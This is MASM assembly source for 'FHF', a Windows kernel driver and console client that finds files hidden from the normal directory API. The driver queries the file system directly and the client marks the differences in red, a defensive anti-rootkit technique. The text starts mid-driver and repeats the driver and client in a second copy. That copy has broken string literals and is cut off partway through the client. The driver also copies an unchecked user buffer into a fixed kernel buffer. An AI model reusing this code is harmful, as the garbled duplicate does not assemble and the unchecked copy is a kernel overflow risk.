mov [eax].MajorFunction[IRP_MJ_DEVICE_CONTROL*(sizeof PVOID)], offset _DispatchControl
assume eax:nothing
mov status, STATUS_SUCCESS
.else
invoke IoDeleteDevice, pDeviceObject
.endif
.endif
mov eax, status
ret
DriverEntry endp
_DispatchControl proc uses esi edi ebx,pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP
local status : NTSTATUS
local dwBytesReturned
local oa : OBJECT_ATTRIBUTES
local lpDeviceObject : PDEVICE_OBJECT
local event : KEVENT
local ioStatus : IO_STACK_LOCATION
local ioS : IO_STATUS_BLOCK
local lpIrp : PIRP
local hFile
local lpSystemBuffer
local lpInformation:PFILE_DIRECTORY_INFORMATION
local lpFileobject : PFILE_OBJECT
local uFileName : UNICODE_STRING
local UN:UNICODE_STRING
local aFileName : ANSI_STRING
local Buffer[1024]:byte
and dwBytesReturned,0
mov status, STATUS_UNSUCCESSFUL
mov esi, pIrp
assume esi : ptr _IRP
IoGetCurrentIrpStackLocation esi
mov edi,eax
assume edi : ptr IO_STACK_LOCATION
mov eax,[edi].Parameters.DeviceIoControl.IoControlCode
.if eax == IOCTL_GET_DIRECTORY_INFO
;int 3
push [esi].AssociatedIrp.SystemBuffer
pop esi
mov lpSystemBuffer,esi
assume esi:nothing
assume edi:nothing
invoke strcpy,addr Buffer,addr szDos
invoke strcat,addr Buffer,lpSystemBuffer
invoke RtlInitAnsiString,addr aFileName,addr Buffer
invoke RtlAnsiStringToUnicodeString,addr uFileName,addr aFileName,TRUE
InitializeObjectAttributes addr oa, addr uFileName,OBJ_CASE_INSENSITIVE + OBJ_KERNEL_HANDLE,\
NULL, NULL
;打开目录
invoke ZwOpenFile,addr hFile, FILE_LIST_DIRECTORY + SYNCHRONIZE+FILE_ANY_ACCESS, addr oa,\
addr ioS, FILE_SHARE_READ + FILE_SHARE_WRITE + FILE_SHARE_DELETE,\
FILE_DIRECTORY_FILE + FILE_SYNCHRONOUS_IO_NONALERT
.if eax==STATUS_SUCCESS
invoke DbgPrint, $CTA0("ZwOpenFile SUCCESS\n"),eax
.endif
invoke RtlFreeUnicodeString,addr uFileName
;获得句柄的文件对象
invoke ObReferenceObjectByHandle,hFile,FILE_LIST_DIRECTORY + SYNCHRONIZE,\
0,KernelMode,addr lpFileobject,NULL
.if eax==STATUS_SUCCESS
invoke DbgPrint, $CTA0("file obj success\n")
;获得文件系统的底层设备对象
mov esi,lpFileobject
assume esi:ptr FILE_OBJECT
push [esi].Vpb
pop edi
assume edi:ptr VPB
.if [esi].Vpb & edi
push [edi].DeviceObject
pop lpDeviceObject
.endif
assume esi:nothing
assume edi:nothing
mov esi,lpDeviceObject
assume esi:ptr DEVICE_OBJECT
invoke IoAllocateIrp,[esi].StackSize,FALSE
.if eax !=NULL
mov lpIrp,eax
.else ;减少引用记数
invoke DbgPrint, $CTA0("allocate failed \n")
invoke ObDereferenceObject,lpFileobject
invoke ZwClose,hFile
jmp exit
.endif
;int 3
invoke DbgPrint, $CTA0("allocate Irp success \n")
invoke KeInitializeEvent,addr event,SynchronizationEvent,FALSE
assume esi:nothing
mov esi,lpIrp
assume esi : ptr _IRP
;填充IRP结构
invoke ExAllocatePool,PagedPool,65535
push eax
invoke memset,eax,0,65535
pop eax
mov lpInformation,eax
mov [esi].UserBuffer,eax
mov [esi].MdlAddress,NULL
mov [esi].AssociatedIrp.SystemBuffer,eax
mov [esi].Flags,0
lea eax, event
mov [esi].UserEvent,eax
lea eax,ioStatus
mov [esi].UserIosb,eax
push lpFileobject
pop [esi].Tail.Overlay.OriginalFileObject
invoke PsGetCurrentThread
mov [esi].Tail.Overlay.Thread,eax
mov [esi].RequestorMode,KernelMode
assume esi:nothing
IoGetNextIrpStackLocation lpIrp
mov esi,eax
assume esi:ptr IO_STACK_LOCATION
mov [esi].MajorFunction,IRP_MJ_DIRECTORY_CONTROL
mov [esi].MinorFunction,IRP_MN_QUERY_DIRECTORY
push lpFileobject
pop [esi].FileObject
push lpDeviceObject
pop [esi].DeviceObject
mov [esi].Flags,SL_RESTART_SCAN
mov [esi].Control,0
mov [esi].Parameters.QueryDirectory.FileIndex,0
mov [esi].Parameters.QueryDirectory.FileInformationClass,FileDirectoryInformation
mov [esi].Parameters.QueryDirectory.FileName,NULL
mov [esi].Parameters.QueryDirectory._Length,65535
assume esi:nothing
IoSetCompletionRoutine lpIrp,addr _SetEventComp,0,TRUE,TRUE,TRUE
invoke IoCallDriver,lpDeviceObject,lpIrp
invoke DbgPrint, $CTA0("status %x"),eax
invoke KeWaitForSingleObject,addr event,Executive,KernelMode,TRUE,0
mov esi,lpInformation
assume esi:ptr FILE_DIRECTORY_INFORMATION
mov edi,lpSystemBuffer
assume edi:ptr DIRECTORY_INFO
.while TRUE
mov eax,[esi].FileNameLength
mov UN._Length,ax
mov UN.MaximumLength,ax
lea ecx,[esi].FileName
mov UN.Buffer,ecx
invoke RtlUnicodeStringToAnsiString, addr aFileName, addr UN,TRUE
invoke strcpy,addr [edi].FileName,aFileName.Buffer
invoke RtlFreeAnsiString,addr aFileName
push dword ptr[esi].CreationTime
pop dword ptr[edi].CreationTime
push dword ptr[esi].CreationTime+4
pop dword ptr[edi].CreationTime+4
push dword ptr[esi].EndOfFile
pop dword ptr[edi].EndOfFile
push [esi].FileAttributes
pop [edi].FileAttributes
add dwBytesReturned,sizeof DIRECTORY_INFO
add edi,sizeof DIRECTORY_INFO
.if ![esi].NextEntryOffset
.break
.endif
add esi,[esi].NextEntryOffset
.endw
assume esi:nothing
invoke ExFreePool,lpInformation
invoke ObDereferenceObject,lpFileobject
invoke ZwClose,hFile
mov status,STATUS_SUCCESS
.else
invoke DbgPrint, $CTA0("file obj failed \n")
jmp exit
.endif
.endif
exit: mov esi,pIrp
assume esi : ptr _IRP
push status
pop [esi].IoStatus.Status
push dwBytesReturned
pop [esi].IoStatus.Information
assume esi : nothing
assume edi : nothing
invoke IoCompleteRequest, pIrp, IO_NO_INCREMENT
mov eax, status
ret
_DispatchControl endp
_DispatchCreateClose proc pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP
mov eax, pIrp
assume eax:ptr _IRP
mov [eax].IoStatus.Status, STATUS_SUCCESS
and [eax].IoStatus.Information, 0
assume eax:nothing
invoke IoCompleteRequest, pIrp, IO_NO_INCREMENT
ret
_DispatchCreateClose endp
_DriverUnload proc pDriverObject:PDRIVER_OBJECT
invoke DbgPrint, $CTA0("Unload success\n")
invoke IoDeleteSymbolicLink, addr g_usSymbolicLinkName
mov eax, pDriverObject
invoke IoDeleteDevice, (DRIVER_OBJECT PTR [eax]).DeviceObject
ret
_DriverUnload endp
end DriverEntry
:make
set path=%path%;d:\masm32\bin;
set drv=FHF
ml /nologo /c /coff %drv%.bat
link /nologo /driver /base:0x10000 /align:32 /out:%drv%.sys /subsystem:native %drv%.obj
del %drv%.obj
echo.
pause
用户部分:
;********************************************************************
;author :dge
;homepage:http://llfdge.googlepages.com/
;date :2007.3.16
;********************************************************************
.386
.model flat, stdcall
option casemap :none
include d:\masm32\include\windows.inc
include d:\masm32\include\kernel32.inc
includelib d:\masm32\lib\kernel32.lib
include d:\masm32\include\user32.inc
includelib d:\masm32\lib\user32.lib
include d:\masm32\include\winioctl.inc
include d:\masm32\include\advapi32.inc
includelib d:\masm32\lib\advapi32.lib
include d:\masm32\Macros\Strings.mac
include common.inc
.data?
szHostName db 100 dup (?)
szBuffer db 100 dup (?)
hInstance dd ?
;********************************************************************
; 标志及命令行参数
;********************************************************************
dwOption dd ?
F_ABORT equ 0001h ;按了 Ctrl-C 终止
.data
szVer db 'FHF [版本 1.0]',0dh,0ah
db ' 版权所有 2007 dge',0dh,0ah
db 'http://llfdge.googlepages.com',0dh,0ah,0
szDir db 'dir',0dh,0ah,0
szExit db 'exit',0dh,0ah,0
szCdB db 'cd..',0dh,0ah,0
szCdC db 'cd ..',0dh,0ah,0
szCdA db 'cd ',0
szRoot db ':',0dh,0ah,0
szCaption db 'FHF V1.0',0
szGet db 100 dup(?)
szError db '不支持此命令',0dh,0ah,0
last db '>',0
odoa db 0dh,0ah,0
szFilter db '*.*',0
szOutputA db '%04d-%02d-%02d %02d:%02d %s %-8d %-s',0dh,0ah,0
szOutputB db '%04d-%02d-%02d %02d:%02d %-8d %-s',0dh,0ah,0
szIr db '',0
szOutput db 1024 dup(?)
szFail db '系统找不到指定路径',0dh,0ah,0
FLAG db 0
adwOutBuffer db 65535 dup(?)
hDevice dd ?
inBuffer db 100 dup(?)
dwBytesReturned dd ?
count dd ?
f db '%s %s',0
.code
include _Console.asm
_LoadDriver proc uses esi edi
local hSCManager
local hService
local acModulePath[MAX_PATH]:CHAR
local _ss:SERVICE_STATUS
local acBuffer[256+64]:CHAR
local acNumber[32]:CHAR
local szWide[100]:byte
invoke CreateFile,$CTA0("\\\\.\\slFHF"), GENERIC_READ + GENERIC_WRITE, \
0, NULL, OPEN_EXISTING, 0, NULL
.if eax != INVALID_HANDLE_VALUE
mov hDevice,eax
mov eax,TRUE
ret
.endif
invoke OpenSCManager, NULL, NULL, SC_MANAGER_ALL_ACCESS
.if eax != NULL
mov hSCManager, eax
push eax
invoke GetFullPathName, $CTA0("FHF.sys"), sizeof acModulePath, addr acModulePath, esp
pop eax
invoke CreateService, hSCManager, $CTA0("FHF"), $CTA0("FHF"),\
SERVICE_START + SERVICE_STOP + DELETE, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, \
SERVICE_ERROR_IGNORE, addr acModulePath, NULL, NULL, NULL, NULL, NULL
.if eax != NULL
mov hService, eax
invoke StartService, hService, 0, NULL
.if eax != 0
invoke CreateFile,$CTA0("\\\\.\\slFHF"), GENERIC_READ + GENERIC_WRITE, \
0, NULL, OPEN_EXISTING, 0, NULL
.if eax != INVALID_HANDLE_VALUE
mov hDevice, eax
invoke CloseServiceHandle, hService
mov eax,TRUE
ret
.endif
invoke ControlService, hService, SERVICE_CONTROL_STOP, addr _ss
.endif
invoke DeleteService, hService
invoke CloseServiceHandle, hService
.endif
invoke CloseServiceHandle, hSCManager
.endif
mov eax,FALSE
ret
_LoadDriver endp
_CloseDevice proc uses ebx esi edi
LOCAL hSCManager
LOCAL hService
LOCAL sest : SERVICE_STATUS
.if hDevice
invoke CloseHandle, hDevice
.endif
invoke OpenSCManager, NULL, NULL, SC_MANAGER_CONNECT
.if eax!=0
mov hSCManager, eax
invoke OpenService, hSCManager, $CTA0("FHF"), SERVICE_STOP+DELETE
.if eax!=0
mov hService, eax
invoke ControlService, hService, SERVICE_CONTROL_STOP, addr sest
invoke DeleteService, hService
invoke CloseServiceHandle, hService
.endif
invoke CloseServiceHandle, hSCManager
.endif
ret
_CloseDevice endp
_PrintFileInfo proc
local sysTime :SYSTEMTIME
local stFindFile:WIN32_FIND_DATA
local hFindFile
local lpName
local EnFilea
local EnFileb
pushad
lea esi,adwOutBuffer
assume esi:ptr DIRECTORY_INFO
mov ecx,count
@@: push ecx
.if [esi].FileAttributes & FILE_ATTRIBUTE_DIRECTORY
.if [esi].Flag == TRUE
invoke SetConsoleTextAttribute,hStdOut,FOREGROUND_RED+FOREGROUND_INTENSITY
.endif
invoke FileTimeToSystemTime,addr [esi].CreationTime,addr sysTime
push esi
lea esi,[esi].FileName
mov lpName,esi
push dword ptr[esi].EndOfFile
pop EnFilea
push dword ptr[esi].EndOfFile+4
pop EnFileb
movzx esi,sysTime.wYear
movzx edi,sysTime.wMonth
movzx ebx,sysTime.wDay
movzx ecx,sysTime.wHour
movzx edx,sysTime.wMinute
invoke wsprintf,addr szOutput,addr szOutputA,esi,edi,ebx,ecx,\
edx,addr szIr,EnFilea,lpName
invoke _ConsolePrint,addr szOutput
pop esi
.else
.if [esi].Flag == TRUE
invoke SetConsoleTextAttribute,hStdOut,FOREGROUND_RED+FOREGROUND_INTENSITY
.endif
invoke FileTimeToSystemTime,addr [esi].CreationTime,addr sysTime
push esi
lea esi,[esi].FileName
mov lpName,esi
push dword ptr[esi].EndOfFile
pop EnFilea
push dword ptr[esi].EndOfFile+4
pop EnFileb
movzx esi,sysTime.wYear
movzx edi,sysTime.wMonth
movzx ebx,sysTime.wDay
movzx ecx,sysTime.wHour
movzx edx,sysTime.wMinute
invoke wsprintf,addr szOutput,addr szOutputB,esi,edi,ebx,ecx,edx,EnFilea,\
lpName
invoke _ConsolePrint,addr szOutput
pop esi
.endif
invoke SetConsoleTextAttribute,hStdOut,FOREGROUND_GREEN
add esi,sizeof DIRECTORY_INFO
pop ecx
dec ecx
.if ecx
jmp @B
.endif
ret
_PrintFileInfo endp
_SubPath proc
lea edi,szBuffer
mov al,'>'
mov cx,100D
repne scasb
dec edi
@@: dec edi
cmp byte ptr[edi],'\'
jne @B
cmp byte ptr[edi-1],':'
jne @F
inc edi
@@: mov byte ptr[edi],'>'
inc edi
mov byte ptr[edi],0
ret
_SubPath endp
_AddPath proc lpSz
pushad
lea edi,szBuffer
mov al,'>'
mov cx,100D
repne scasb
dec edi
.if byte ptr[edi-1]=='\'
mov byte ptr[edi],0
.else
mov byte ptr[edi],'\'
inc edi
mov byte ptr[edi],0
.endif
mov esi,lpSz
invoke lstrlen,esi
add esi,eax
mov word ptr[esi-2],0
invoke lstrcat,addr szBuffer,lpSz
invoke lstrcat,addr szBuffer,addr last
popad
ret
_AddPath endp
_Init proc
pushad
lea esi,adwOutBuffer
assume esi:ptr DIRECTORY_INFO
xor edx,edx
mov eax,dwBytesReturned
mov ecx,sizeof DIRECTORY_INFO
div ecx
mov count,eax
mov ecx,eax
@@: mov [esi].Flag,TRUE
push ecx
add esi,sizeof DIRECTORY_INFO
pop ecx
loop @B
popad
ret
_Init endp
_SetFlag proc lpName
pushad
lea esi,adwOutBuffer
assume esi:ptr DIRECTORY_INFO
mov ecx,count
@@: push ecx
invoke lstrcmp,addr [esi].FileName,lpName
.if !eax
mov [esi].Flag,FALSE
.endif
pop ecx
add esi,sizeof DIRECTORY_INFO
loop @B
assume esi:nothing
popad
ret
_SetFlag endp
_FindHideFile proc
local stFindFile:WIN32_FIND_DATA
local hFindFile
local @szSearch[MAX_PATH]:byte
local sysTime :SYSTEMTIME
pushad
invoke lstrcpy,addr @szSearch,addr szBuffer
invoke lstrlen,addr @szSearch
lea esi,@szSearch
add esi,eax
xor eax,eax
dec esi
mov byte ptr[esi],'\'
mov byte ptr[esi+1],'*'
mov byte ptr[esi+2],'.'
mov byte ptr[esi+3],'*'
mov byte ptr[esi+4],0
invoke FindFirstFile,addr @szSearch,addr stFindFile
.if eax != INVALID_HANDLE_VALUE
mov hFindFile,eax
.repeat
invoke _SetFlag,addr stFindFile.cFileName
invoke FindNextFile,hFindFile,addr stFindFile
.until (eax == FALSE)
invoke FindClose,hFindFile
.endif
popad
ret
_FindHideFile endp
start:
call _ConsoleInit
invoke SetConsoleTextAttribute,hStdOut,FOREGROUND_BLUE+FOREGROUND_INTENSITY
invoke _ConsolePrint,addr szVer
invoke GetCurrentDirectory,1024,addr szBuffer
invoke lstrcat,addr szBuffer,addr last
invoke SetConsoleTitle,addr szCaption
invoke SetConsoleTextAttribute,hStdOut,FOREGROUND_GREEN
@@: invoke _ConsolePrint,addr szBuffer
invoke RtlZeroMemory,addr szGet,sizeof szGet
invoke _ConsoleRead,addr szGet
lea esi,szGet
invoke lstrcmp,esi,addr szExit
.if !eax
invoke _CloseDevice
invoke ExitProcess,NULL
.endif
invoke lstrcmp,esi,addr szCdB
.if !eax
p2: or FLAG,1
lea esi,szBuffer
inc esi
inc esi
cmp byte ptr[esi],'>'
je ll
invoke _SubPath
invoke _ConsolePrint,addr odoa
ll: jmp @B
.endif
invoke lstrcmp,esi,addr szCdC
.if !eax
jmp p2
.endif
movzx eax,byte ptr[esi]
.if eax == 'c'
inc esi
movzx eax,byte ptr[esi]
.if eax == 'd'
inc esi
movzx eax,byte ptr[esi]
.if eax == ' '
inc esi
cmp byte ptr[esi],0dh
jz L
invoke _AddPath,esi
L: invoke _ConsolePrint,addr odoa
jmp @B
.else
invoke _ConsolePrint,addr odoa
jmp @B
.endif
.else
dec esi
.endif
.endif
invoke lstrcmp,esi,addr szDir
.if !eax
L1: invoke _LoadDriver
.if !eax
invoke _CloseDevice
jmp L1
.endif
invoke lstrcpy,addr inBuffer,addr szBuffer
invoke lstrlen,addr inBuffer
lea esi,inBuffer
add esi,eax
dec esi
mov byte ptr[esi],'\'
invoke RtlZeroMemory,addr adwOutBuffer,sizeof adwOutBuffer
invoke DeviceIoControl,hDevice, IOCTL_GET_DIRECTORY_INFO, addr inBuffer,sizeof inBuffer, \
addr adwOutBuffer, sizeof adwOutBuffer, addr dwBytesReturned, NULL
.if ( eax != 0 ) && ( dwBytesReturned != 0 )
invoke _Init
invoke _FindHideFile
invoke _PrintFileInfo
invoke _ConsolePrint,addr odoa
jmp @B
.else
invoke _ConsolePrint,addr szFail
jmp @B
.endif
.endif
inc esi
invoke lstrcmp,esi,addr szRoot
dec esi
.if !eax
lea edi,szBuffer
invoke RtlZeroMemory,edi,sizeof szBuffer
lodsb
.if al>60h
sub al,20H
.endif
mov byte ptr[edi],al
lodsb
mov byte ptr[edi+1],al
mov al,'\'
inc edi
inc edi
stosb
mov al,'>'
stosb
invoke _ConsolePrint,addr odoa
jmp @B
.endif
invoke _ConsolePrint,addr szError
invoke _ConsolePrint,addr odoa
jmp @B
end start
文件common.inc:
IOCTL_GET_DIRECTORY_INFO equ CTL_CODE(FILE_DEVICE_UNKNOWN, 800h, METHOD_BUFFERED, FILE_READ_ACCESS + FILE_WRITE_ACCESS)
FILE_DIRECTORY_INFORMATION STRUCT ; sizeof = 48h
NextEntryOffset DWORD ?
FileIndex DWORD ?
CreationTime LARGE_INTEGER <>
LastAccessTime LARGE_INTEGER <>
LastWriteTime LARGE_INTEGER <>
ChangeTime LARGE_INTEGER <>
EndOfFile LARGE_INTEGER <>
AllocationSize LARGE_INTEGER <>
FileAttributes DWORD ?
FileNameLength DWORD ?
FileName WORD 1 dup(?) ; WCHAR
WORD 3 dup(?) ; padding
FILE_DIRECTORY_INFORMATION ENDS
PFILE_DIRECTORY_INFORMATION typedef ptr FILE_DIRECTORY_INFORMATION
DIRECTORY_INFO STRUCT
FileName DB 50 dup(?)
CreationTime LARGE_INTEGER <>
EndOfFile LARGE_INTEGER <>
FileAttributes DWORD ?
Flag DWORD ?
DIRECTORY_INFO ENDS
参考资料:
(1)Windows平台内核级文件访问
http://www.retcvc.com/cgi-bin/topic.cgi?forum=17&topic=1113&show=0
(2)好象是Windows源代码http://www.koders.com/c/fid304D967B0B1C3F3B1FB80A6D31B5FABA820B185B.aspx
(3)Rajeev Nagar, "Windows NT File System Internals. A Developer's Guide", O'Reilly
;@echo off
;goto make
;********************************************************************
;author :dge
;homepage:http://llfdge.googlepages.com/
;date :2007.3.16
;********************************************************************
.386
.model flat, stdcall
option casemap:none
include d:\masm32\include\w2k\ntstatus.inc
include d:\masm32\include\w2k\ntddk.inc
include d:\masm32\include\w2k\ntoskrnl.inc
includelib d:\masm32\lib\w2k\ntoskrnl.lib
include d:\masm32\Macros\Strings.mac
include common.inc
_DispatchCreateClose proto :PDEVICE_OBJECT,:PIRP
_DriverUnload proto :PDRIVER_OBJECT
_DispatchControl proto :PDEVICE_OBJECT,:PIRP
.const
CCOUNTED_UNICODE_STRING "\\Device\\devFHF", g_usDeviceName, 4
CCOUNTED_UNICODE_STRING "\\??\\slFHF", g_usSymbolicLinkName, 4
.data
szDos db '\DosDevices\',0
.code
_SetEventComp proc uses esi edi,pDeviceObject:PDEVICE_OBJECT,pIrp:PIRP,event
mov esi,pIrp
assume esi : ptr _IRP
push [esi].IoStatus.Status
mov edi,[esi].UserIosb
assume edi : ptr IO_STATUS_BLOCK
pop [edi].Status
push [esi].IoStatus.Information
pop [edi].Information
invoke KeSetEvent,[esi].UserEvent,0,FALSE
assume esi:nothing
assume edi:nothing
invoke IoFreeIrp,pIrp
mov eax,STATUS_MORE_PROCESSING_REQUIRED
ret
_SetEventComp endp
DriverEntry proc uses esi, pDriverObject:PDRIVER_OBJECT, pusRegistryPath:PUNICODE_STRING
local status : NTSTATUS
local pDeviceObject : PDEVICE_OBJECT
; int 3
invoke DbgPrint, $CTA0("Entry DriverEntry \n")
mov status, STATUS_DEVICE_CONFIGURATION_ERROR
invoke IoCreateDevice, pDriverObject,NULL, addr g_usDeviceName,\
FILE_DEVICE_UNKNOWN, 0, FALSE, addr pDeviceObject
.if eax==STATUS_SUCCESS
mov esi, pDeviceObject
assume esi : ptr DEVICE_OBJECT
invoke IoCreateSymbolicLink,addr g_usSymbolicLinkName, addr g_usDeviceName
.if eax==STATUS_SUCCESS
mov eax, pDriverObject
assume eax:ptr DRIVER_OBJECT
mov [eax].DriverUnload, offset _DriverUnload
mov [eax].MajorFunction[IRP_MJ_CREATE*(sizeof PVOID)], offset _DispatchCreateClose
mov [eax].MajorFunction[IRP_MJ_CLOSE*(sizeof PVOID)], offset _DispatchCreateClose
mov [eax].MajorFunction[IRP_MJ_DEVICE_CONTROL*(sizeof PVOID)], offset _DispatchControl
assume eax:nothing
mov status, STATUS_SUCCESS
.else
invoke IoDeleteDevice, pDeviceObject
.endif
.endif
mov eax, status
ret
DriverEntry endp
_DispatchControl proc uses esi edi ebx,pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP
local status : NTSTATUS
local dwBytesReturned
local oa : OBJECT_ATTRIBUTES
local lpDeviceObject : PDEVICE_OBJECT
local event : KEVENT
local ioStatus : IO_STACK_LOCATION
local ioS : IO_STATUS_BLOCK
local lpIrp : PIRP
local hFile
local lpSystemBuffer
local lpInformation:PFILE_DIRECTORY_INFORMATION
local lpFileobject : PFILE_OBJECT
local uFileName : UNICODE_STRING
local UN:UNICODE_STRING
local aFileName : ANSI_STRING
local Buffer[1024]:byte
and dwBytesReturned,0
mov status, STATUS_UNSUCCESSFUL
mov esi, pIrp
assume esi : ptr _IRP
IoGetCurrentIrpStackLocation esi
mov edi,eax
assume edi : ptr IO_STACK_LOCATION
mov eax,[edi].Parameters.DeviceIoControl.IoControlCode
.if eax == IOCTL_GET_DIRECTORY_INFO
;int 3
push [esi].AssociatedIrp.SystemBuffer
pop esi
mov lpSystemBuffer,esi
assume esi:nothing
assume edi:nothing
invoke strcpy,addr Buffer,addr szDos
invoke strcat,addr Buffer,lpSystemBuffer
invoke RtlInitAnsiString,addr aFileName,addr Buffer
invoke RtlAnsiStringToUnicodeString,addr uFileName,addr aFileName,TRUE
InitializeObjectAttributes addr oa, addr uFileName,OBJ_CASE_INSENSITIVE + OBJ_KERNEL_HANDLE,\
NULL, NULL
;打开目录
invoke ZwOpenFile,addr hFile, FILE_LIST_DIRECTORY + SYNCHRONIZE+FILE_ANY_ACCESS, addr oa,\
addr ioS, FILE_SHARE_READ + FILE_SHARE_WRITE + FILE_SHARE_DELETE,\
FILE_DIRECTORY_FILE + FILE_SYNCHRONOUS_IO_NONALERT
.if eax==STATUS_SUCCESS
invoke DbgPrint, $CTA0("ZwOpenFile SUCCESS\n"),eax
.endif
invoke RtlFreeUnicodeString,addr uFileName
;获得句柄的文件对象
invoke ObReferenceObjectByHandle,hFile,FILE_LIST_DIRECTORY + SYNCHRONIZE,\
0,KernelMode,addr lpFileobject,NULL
.if eax==STATUS_SUCCESS
invoke DbgPrint, $CTA0("file obj success\n")
;获得文件系统的底层设备对象
mov esi,lpFileobject
assume esi:ptr FILE_OBJECT
push [esi].Vpb
pop edi
assume edi:ptr VPB
.if [esi].Vpb & edi
push [edi].DeviceObject
pop lpDeviceObject
.endif
assume esi:nothing
assume edi:nothing
mov esi,lpDeviceObject
assume esi:ptr DEVICE_OBJECT
invoke IoAllocateIrp,[esi].StackSize,FALSE
.if eax !=NULL
mov lpIrp,eax
.else ;减少引用记数
invoke DbgPrint, $CTA0("allocate failed \n")
invoke ObDereferenceObject,lpFileobject
invoke ZwClose,hFile
jmp exit
.endif
;int 3
invoke DbgPrint, $CTA0("allocate Irp success \n")
invoke KeInitializeEvent,addr event,SynchronizationEvent,FALSE
assume esi:nothing
mov esi,lpIrp
assume esi : ptr _IRP
;填充IRP结构
invoke ExAllocatePool,PagedPool,65535
push eax
invoke memset,eax,0,65535
pop eax
mov lpInformation,eax
mov [esi].UserBuffer,eax
mov [esi].MdlAddress,NULL
mov [esi].AssociatedIrp.SystemBuffer,eax
mov [esi].Flags,0
lea eax, event
mov [esi].UserEvent,eax
lea eax,ioStatus
mov [esi].UserIosb,eax
push lpFileobject
pop [esi].Tail.Overlay.OriginalFileObject
invoke PsGetCurrentThread
mov [esi].Tail.Overlay.Thread,eax
mov [esi].RequestorMode,KernelMode
assume esi:nothing
IoGetNextIrpStackLocation lpIrp
mov esi,eax
assume esi:ptr IO_STACK_LOCATION
mov [esi].MajorFunction,IRP_MJ_DIRECTORY_CONTROL
mov [esi].MinorFunction,IRP_MN_QUERY_DIRECTORY
push lpFileobject
pop [esi].FileObject
push lpDeviceObject
pop [esi].DeviceObject
mov [esi].Flags,SL_RESTART_SCAN
mov [esi].Control,0
mov [esi].Parameters.QueryDirectory.FileIndex,0
mov [esi].Parameters.QueryDirectory.FileInformationClass,FileDirectoryInformation
mov [esi].Parameters.QueryDirectory.FileName,NULL
mov [esi].Parameters.QueryDirectory._Length,65535
assume esi:nothing
IoSetCompletionRoutine lpIrp,addr _SetEventComp,0,TRUE,TRUE,TRUE
invoke IoCallDriver,lpDeviceObject,lpIrp
invoke DbgPrint, $CTA0("status %x"),eax
invoke KeWaitForSingleObject,addr event,Executive,KernelMode,TRUE,0
mov esi,lpInformation
assume esi:ptr FILE_DIRECTORY_INFORMATION
mov edi,lpSystemBuffer
assume edi:ptr DIRECTORY_INFO
.while TRUE
mov eax,[esi].FileNameLength
mov UN._Length,ax
mov UN.MaximumLength,ax
lea ecx,[esi].FileName
mov UN.Buffer,ecx
invoke RtlUnicodeStringToAnsiString, addr aFileName, addr UN,TRUE
invoke strcpy,addr [edi].FileName,aFileName.Buffer
invoke RtlFreeAnsiString,addr aFileName
push dword ptr[esi].CreationTime
pop dword ptr[edi].CreationTime
push dword ptr[esi].CreationTime+4
pop dword ptr[edi].CreationTime+4
push dword ptr[esi].EndOfFile
pop dword ptr[edi].EndOfFile
push [esi].FileAttributes
pop [edi].FileAttributes
add dwBytesReturned,sizeof DIRECTORY_INFO
add edi,sizeof DIRECTORY_INFO
.if ![esi].NextEntryOffset
.break
.endif
add esi,[esi].NextEntryOffset
.endw
assume esi:nothing
invoke ExFreePool,lpInformation
invoke ObDereferenceObject,lpFileobject
invoke ZwClose,hFile
mov status,STATUS_SUCCESS
.else
invoke DbgPrint, $CTA0("file obj failed \n")
jmp exit
.endif
.endif
exit: mov esi,pIrp
assume esi : ptr _IRP
push status
pop [esi].IoStatus.Status
push dwBytesReturned
pop [esi].IoStatus.Information
assume esi : nothing
assume edi : nothing
invoke IoCompleteRequest, pIrp, IO_NO_INCREMENT
mov eax, status
ret
_DispatchControl endp
_DispatchCreateClose proc pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP
mov eax, pIrp
assume eax:ptr _IRP
mov [eax].IoStatus.Status, STATUS_SUCCESS
and [eax].IoStatus.Information, 0
assume eax:nothing
invoke IoCompleteRequest, pIrp, IO_NO_INCREMENT
ret
_DispatchCreateClose endp
_DriverUnload proc pDriverObject:PDRIVER_OBJECT
invoke DbgPrint, $CTA0("Unload success\n")
invoke IoDeleteSymbolicLink, addr g_usSymbolicLinkName
mov eax, pDriverObject
invoke IoDeleteDevice, (DRIVER_OBJECT PTR [eax]).DeviceObject
ret
_DriverUnload endp
end DriverEntry
:make
set path=%path%;d:\masm32\bin;
set drv=FHF
ml /nologo /c /coff %drv%.bat
link /nologo /driver /base:0x10000 /align:32 /out:%drv%.sys /subsystem:native %drv%.obj
del %drv%.obj
echo.
pause
用户部分:
;********************************************************************
;author :dge
;homepage:http://llfdge.googlepages.com/
;date :2007.3.16
;********************************************************************
.386
.model flat, stdcall
option casemap :none
include d:\masm32\include\windows.inc
include d:\masm32\include\kernel32.inc
includelib d:\masm32\lib\kernel32.lib
include d:\masm32\include\user32.inc
includelib d:\masm32\lib\user32.lib
include d:\masm32\include\winioctl.inc
include d:\masm32\include\advapi32.inc
includelib d:\masm32\lib\advapi32.lib
include d:\masm32\Macros\Strings.mac
include common.inc
.data?
szHostName db 100 dup (?)
szBuffer db 100 dup (?)
hInstance dd ?
;********************************************************************
; 标志及命令行参数
;********************************************************************
dwOption dd ?
F_ABORT equ 0001h ;按了 Ctrl-C 终止
.data
szVer db 'FHF [版本 1.0]',0dh,0ah
db '
db 'http://llfdge.googlepages.com',0dh,0ah,0
szDir db 'dir',0dh,0ah,0
szExit db 'exit',0dh,0ah,0
szCdB db 'cd..',0dh,0ah,0
szCdC db 'cd ..',0dh,0ah,0
szCdA db 'cd ',0
szRoot db ':',0dh,0ah,0
szCaption db 'FHF V1.0',0
szGet db 100 dup(?)
szError db '不支持此命令',0dh,0ah,0
last db '>',0
odoa db 0dh,0ah,0
szFilter db '*.*',0
szOutputA db '%04d-%02d-%02d %02d:%02d %s %-8d %-s',0dh,0ah,0
szOutputB db '%04d-%02d-%02d %02d:%02d %-8d %-s',0dh,0ah,0
szIr db '
szOutput db 1024 dup(?)
szFail db '系统找不到指定路径',0dh,0ah,0
FLAG db 0
adwOutBuffer db 65535 dup(?)
hDevice dd ?
inBuffer db 100 dup(?)
dwBytesReturned dd ?
count dd ?
f db '%s %s',0
.code
include _Console.asm
_LoadDriver proc uses esi edi
local hSCManager
local hService
local acModulePath[MAX_PATH]:CHAR
local _ss:SERVICE_STATUS
local acBuffer[256+64]:CHAR
local acNumber[32]:CHAR
local szWide[100]:byte
